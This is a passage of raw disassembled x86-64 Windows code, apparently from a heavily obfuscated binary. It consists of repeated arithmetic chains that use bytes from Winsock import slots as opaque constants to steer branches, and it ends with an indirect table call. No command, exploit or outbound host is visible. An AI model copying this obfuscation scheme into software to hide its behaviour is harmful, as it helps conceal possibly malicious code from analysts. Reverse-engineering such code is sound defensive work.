div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090bde
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r13d, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, r13d
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, r12d
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028f0
movsx edx, byte [0x14037c72a]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*2]
add ebx, ebx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140090ed6
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090cea
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140090cea
mov r14d, 3
jmp 0x140090d78
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090d78
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r14d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090e24
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140090e24
mov esi, 3
jmp 0x140090eb1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090eb1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si esi, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, esi
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, r14d
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400911d9
mov eax, dword [rbp + 0x67]
sub eax, 0x78
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090fd3
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140090fd3
mov edi, 3
mov dword [rbp + 0x77], edi
jmp 0x140091068
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091065
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si edi, xmm0
mov dword [rbp + 0x77], edi
jmp 0x140091068
mov edi, dword [rbp + 0x77]
mov eax, dword [rbp + 0x67]
sub eax, 0x78
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091124
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140091124
mov dword [rbp + 0x7f], 3
jmp 0x1400911b4
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400911b4
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp + 0x7f], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp + 0x7f]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, edi
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028f0
movsx ecx, byte [0x14037c72a]
movsx edx, al
imul ecx, edx
imul ebx, ecx, 7
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400914b8
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400912c0
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400912c0
mov edi, 3
mov dword [rbp - 0x55], edi
jmp 0x140091355
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091352
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si edi, xmm0
mov dword [rbp - 0x55], edi
jmp 0x140091355
mov edi, dword [rbp - 0x55]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091403
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140091403
mov dword [rbp - 0x59], 3
jmp 0x140091493
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091493
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp - 0x59], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp - 0x59]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, edi
mov dword [rbp + rax*4 - 0x4d], edx
mov eax, dword [rbp + 0x67]
inc eax
mov dword [rbp + 0x67], eax
mov eax, dword [rbp + 0x67]
cmp eax, 1
jb 0x140090610
mov rbx, qword [rbp - 0x49]
mov eax, dword [rbp - 0x4d]
lea r8, [0x1400887d0]
mov rcx, qword [rbx + 0x38]
lea r9, [0x140000000]
mov edx, 3
mov byte [rbp - 0x51], 1
call qword [r9 + rax*8 + 0x3711c0]
mov rax, qword [0x14033c4a8]
mov qword [rbp - 0x51], rax
test al, al
jne 0x1400923dd
mov dword [rbp + 0x67], 0
mov eax, dword [rbp + 0x67]
mov esi, dword [rbp + 0x67]
mov r14d, dword [rbp + 0x67]
mov r15d, dword [rbp + 0x67]
mov r12d, dword [rbp + 0x67]
mov r13d, dword [rbp + 0x67]
call fcn.1400028f0
movsx edx, byte [0x14037c72a]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
add ebx, ebx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140091801
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009160e
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14009160e
mov r14d, 3
jmp 0x14009169c
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009169c
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r14d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009174b
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14009174b
mov dword [rbp + 0x6f], 3
jmp 0x1400917db
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400917db
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp + 0x6f], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp + 0x6f]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, r14d
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400920e6
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140091b15
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091926
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140091926
mov r15d, 3
jmp 0x1400919b4
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400919b4
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r15d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091a62
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140091a62
mov r12d, 3
jmp 0x140091af0
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091af0
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r12d, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, r12d
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, r15d
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028f0
movsx edx, byte [0x14037c72a]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*2]
add ebx, ebx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140091dee
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091bfc
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140091bfc
mov r13d, 3
jmp 0x140091c8a
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091c8a
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r13d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
